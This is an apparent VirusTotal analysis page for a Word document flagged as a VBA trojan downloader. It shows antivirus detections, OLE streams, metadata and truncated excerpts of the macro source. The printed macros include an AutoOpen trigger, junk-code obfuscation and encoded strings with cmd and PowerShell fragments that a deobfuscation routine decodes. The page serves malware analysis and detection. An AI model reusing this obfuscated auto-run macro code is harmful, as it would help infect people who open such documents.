Antivirus scan for bd14f73d7c14d0872a7ab05e395797fd2219675b2ff28c5dd9438997d18f2558 at 2018-04-04 10:00:28 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180404
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180404
ESET-NOD32	VBA/TrojanDownloader.Agent.HNJ	20180404
Fortinet	VBA/Agent.HIL!tr.dldr	20180404
Microsoft	Trojan:Script/Cloxer.D!cl	20180404
Zoner	Probably W97Obfuscated	20180403
Ad-Aware		20180404
AegisLab		20180404
AhnLab-V3		20180404
Alibaba		20180404
ALYac		20180404
Antiy-AVL		20180404
Avast		20180404
Avast-Mobile		20180403
AVG		20180404
Avira (no cloud)		20180404
AVware		20180404
BitDefender		20180404
Bkav		20180403
CAT-QuickHeal		20180404
ClamAV		20180404
CMC		20180404
Comodo		20180404
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180404
Cyren		20180404
DrWeb		20180404
eGambit		20180404
Emsisoft		20180404
Endgame		20180403
F-Prot		20180404
F-Secure		20180404
GData		20180404
Ikarus		20180404
Sophos ML		20180121
Jiangmin		20180404
K7AntiVirus		20180404
K7GW		20180404
Kaspersky		20180404
Kingsoft		20180404
Malwarebytes		20180404
MAX		20180404
McAfee		20180404
McAfee-GW-Edition		20180404
eScan		20180404
NANO-Antivirus		20180404
nProtect		20180404
Palo Alto Networks (Known Signatures)		20180404
Panda		20180403
Qihoo-360		20180404
Rising		20180404
SentinelOne (Static ML)		20180225
Sophos AV		20180404
SUPERAntiSpyware		20180404
Symantec		20180404
Symantec Mobile Insight		20180401
Tencent		20180404
TheHacker		20180330
TrendMicro		20180404
TrendMicro-HouseCall		20180404
Trustlook		20180404
VBA32		20180403
VIPRE		20180404
ViRobot		20180404
WhiteArmor		20180403
Yandex		20180403
Zillya		20180403
ZoneAlarm by Check Point		20180404

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-04-04 07:09:00

author

Xaelijo

title

Xaelijo

page_count

last_saved

2018-04-04 07:09:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Xaelijo

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/AioTPcCiHpjO

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/jPAGawMM

[+] Macros/VBA/uvajzXABXAw

[+] Macros/VBA/zzXrNRlPR

[+] WordDocument

Macros and VBA code streams

[+] AioTPcCiHpjO.bas Macros/VBA/AioTPcCiHpjO 16918 bytes

Function XntSKRASiiLZh()
On Error Resume Next
Select Case nYwKb
         Case 18605

            FjshO = 62199
            mwshi = Sqr(71950)
         Case 85478

            BjzVF = CSng(aUKkK)
            HfHtBE = nbGKuc
End Select
asauCnuurZz = EomIh("SJLqw8/xz3R/7+CvY3bu/Bz2+AE8TjCLsi48N9sZ4BB/48d5wwXogT7UMeW+CrYB6AA/cz5WXj65nbX3ke+3MRvyX8Gvt9nlMnIn", 6, 91)
Select Case wBqNAb
         Case 49001

            WMMGDI = 59631
            iwDuz = Sqr(12128)
         Case 84314

            fisEfv = CSng(DsLIZ)
            wkjMaJ = hvAjIM
End Select
Select Case qzNru
         Case 4971

            YtrlJ = 78342
            oZDNR = Sqr(44520)
         Case 51544

            qjiaf = CSng(DMcOED)
            djUfu = BirRS
End Select
mQzHQbzJsiR = EomIh("aUznIG6LBzx3u/rz+3ifFIc53gt83q+P2mfGfPh7gee7H9HG/rz/HtfKPK6ef98nOg6ePM49Lh5wP8huxBH5O7hf/fcHreeIV/S4F0pRf", 3, 99)
Select Case spHml
         Case 11534

            sWHjMU = 44470
            VjOXFl = Sqr(170)
         Case 21040

            iiWBZo = CSng(PLRnpv)
            rIiKnW = IKXdfz
End Select
Select Case jGbLT
         Case 30915

            wnAPr = 24787
            PVLuIp = Sqr(13013)
         Case 34681

            ZlFzw = CSng(OGWnQM)
            OKIPX = lqYEp
End Select
AvGunWF = EomIh("0%59mt( $_,[text.ENCodinG]::asciI ) }| .('f'+'oReACH'){ $_.relRl", 7, 55)
Select Case ZXhqa
         Case 1685

            RqBZO = 35208
            RZtsE = Sqr(92127)
         Case 70986

            HAlsRG = CSng(ZBhQlZ)
            hQvmC = iMkuzK
End Select
Select Case WwLrRj
         Case 27662

            hphXvi = 70510
            zJnAWZ = Sqr(24186)
         Case 48984

            wabJrd = CSng(jTtYRd)
            zTBDn = sRIrqS
End Select
ujXEDTOE = EomIh("lIT@VIF5yGwHzHPsmPZnPtuEP/InhV4PSNfky/G5E23sxj6BuOd6gb7PgqHqe7mjBPtqdSXq8RfwEsUn2Xsv34OeMJkdyCPIW/t%N", 7, 92)
Select Case qJEzlm
         Case 12419

            ImoqM = 97350
            bkMdWH = Sqr(76173)
         Case 63721

            VZlrj = CSng( [... continues ...]

[+] zzXrNRlPR.bas Macros/VBA/zzXrNRlPR 16056 bytes

create-ole obfuscated run-file

Sub lRKaBAS()
On Error Resume Next
Select Case NsMaFJ
         Case 7270

            ZURqfp = 64472
            KvaSfA = Sqr(31617)
         Case 37470

            bCCECB = CSng(pvTWFX)
            NodrRz = WvjjPG
End Select
Application.Run "uiImPhIdb", XntSKRASiiLZh
Select Case zPNbsq
         Case 56229

            BfXTj = 2490
            WLVnDM = Sqr(59001)
         Case 4321

            zVIEH = CSng(UnuIp)
            FuMjOG = zUzOZm
End Select
End Sub
Sub _
AutoOpen()
On Error Resume Next
Select Case YObCN
         Case 39857

            FcWhY = 99671
            KjYaLE = Sqr(32333)
         Case 32725

            GoFsE = CSng(BHjShu)
            LruVT = RpzqH
End Select
Call lRKaBAS
Select Case mkZnN
         Case 65846

            HFVOI = 54883
            RbPzG = Sqr(34726)
         Case 77597

            Yjjql = CSng(zSHzw)
            SDbUWk = nAqdm
End Select
End Sub
Function jotTuQmi()
On Error Resume Next
Select Case aSnzzW
         Case 32981

            fQMkoa = 82428
            cWinu = Sqr(11885)
         Case 28645

            lTojl = CSng(nmqRY)
            PTZVmc = wAbMD
End Select
asauCnuurZz = EomIh("SJLqwDnwO&&set %YFMnIn", 6, 13)
Select Case SOkDij
         Case 38977

            VNdik = 7678
            dZuWCB = Sqr(74778)
         Case 15815

            NARlSR = CSng(HkESm)
            jIhEl = GvmCYq
End Select
Select Case zLZcP
         Case 5082

            ckcFwH = 13560
            SjUAbd = Sqr(55873)
         Case 84165

            iOdbVb = CSng(pmjmi)
            aukGJf = UqiFt
End Select
mQzHQbzJsiR = EomIh("aU%=aIDWQhdu0pRf", 3, 10)
Select Case hhzkhU
         Case 38742

            uBZWGI = 16353
            JaUws = Sqr(10945)
         Case 49153

            VUzlV = CSng(jXikum)
            CwROqj = LjCWzE
End Select
Select Case qHDav
         Case 11808

            qkSMkk = 8060
            bzPCf = Sqr(20293)
         Case 81100

            ldkout = CSng(MjRGk)
            IQGVim = dhNHi
End Select
AvGunWF = Eom [... continues ...]

[+] jPAGawMM.bas Macros/VBA/jPAGawMM 4498 bytes

Function ljSOSqPAcaNr()
On Error Resume Next
Select Case oMPNTn
         Case 8765

            nLpRV = 2191
            Swcqcn = Sqr(44970)
         Case 95574

            idDswh = CSng(GRlbS)
            vFVVCh = hAhVB
End Select
akZHjU = EomIh("5FRL7CFmd zvLwqMkJRwcft kZEZlIXF.", 8, 24)
Select Case MpZlBQ
         Case 27911

            jpkMYF = 96481
            zjaPaC = Sqr(45193)
         Case 41092

            kpfzd = CSng(irJUXh)
            kKEJLP = JicUwA
End Select
Select Case mkAJqW
         Case 32916

            vAIjz = 83901
            ISIVws = Sqr(51429)
         Case 55694

            YwQZX = CSng(TwiHj)
            TZUqG = itGiTj
End Select
MscbuaMPRjn = EomIh("SjrL   /c           QwtQ", 5, 16)
Select Case QAWKu
         Case 93577

            HfktG = 83728
            hjJwrK = Sqr(41862)
         Case 79369

            nipOrj = CSng(pcjAH)
            wooKV = oobjP
End Select
Select Case RttOV
         Case 24484

            DnKcK = 3594
            BuKrpi = Sqr(12712)
         Case 50377

            GDqXFM = CSng(qaFut)
            dRHPAq = ozsVzc
End Select
lZGpSvNzu = EomIh("MjMd1zMEYFmzMEYFSzMEYFpzMEYFEzMEYFczMEYF%     %zMEYFczMEYFozMEYFmZ@0%", 6, 24)
Select Case SLILI
         Case 82461

            mLfpUr = 28023
            BFGrW = Sqr(32208)
         Case 86184

            adPfJI = CSng(VXdrH)
            SumCjr = cajzj
End Select
Select Case wpMhor
         Case 13111

            aLAwN = 95202
            HvjDb = Sqr(31807)
         Case 58673

            vdQHW = CSng(zsNcRT)
            SFjpiL = lRfoEN
End Select
hpUVUlBNo = EomIh("anYFV      7M", 5, 7)
Select Case iCuXL
         Case 39362

            RDXkki = 52805
            mUwic = Sqr(78776)
         Case 80022

            OwEsP = CSng(wcDIjU)
            TEGwoB = IEuhK
End Select
Select Case bojmoI
         Case 47220

            qjmko = 60044
            oshiZ = Sqr(72693)
         Case 58379

            RFRina = CSng(ETOzcA)
            IOmYDK = inuNT
End Selec [... continues ...]

ExifTool file metadata

File identification

MD5 7e8c13c61961e50d6b00e06ba8d385fa

SHA1 6abdcca65b8361277e42f646d378042ddbab73cb

SHA256 bd14f73d7c14d0872a7ab05e395797fd2219675b2ff28c5dd9438997d18f2558

ssdeep

1536:s0J0/JgNwajw/+a9oYOhwxJCZTK+y41ZKMMwBpVSzwE0U1N48L8mLAbmlhWNWOr5:lOSBDFh17y41ZKMMOaA6Ke8mdPIWowW

File size 141.0 KB ( 144384 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Xaelijo, Subject: Xaelijo, Author: Xaelijo, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Apr 03 06:09:00 2018, Last Saved Time/Date: Tue Apr 03 06:09:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-04-04 10:00:28 UTC ( 10 months, 2 weeks ago )

Last submission 2018-05-04 13:13:58 UTC ( 9 months, 2 weeks ago )

File names

RA-155447542500.doc

SHA256:	bd14f73d7c14d0872a7ab05e395797fd2219675b2ff28c5dd9438997d18f2558
File name:	RA-155447542500.doc
Detection ratio:	6 / 58
Analysis date:	2018-04-04 10:00:28 UTC ( 10 months, 2 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in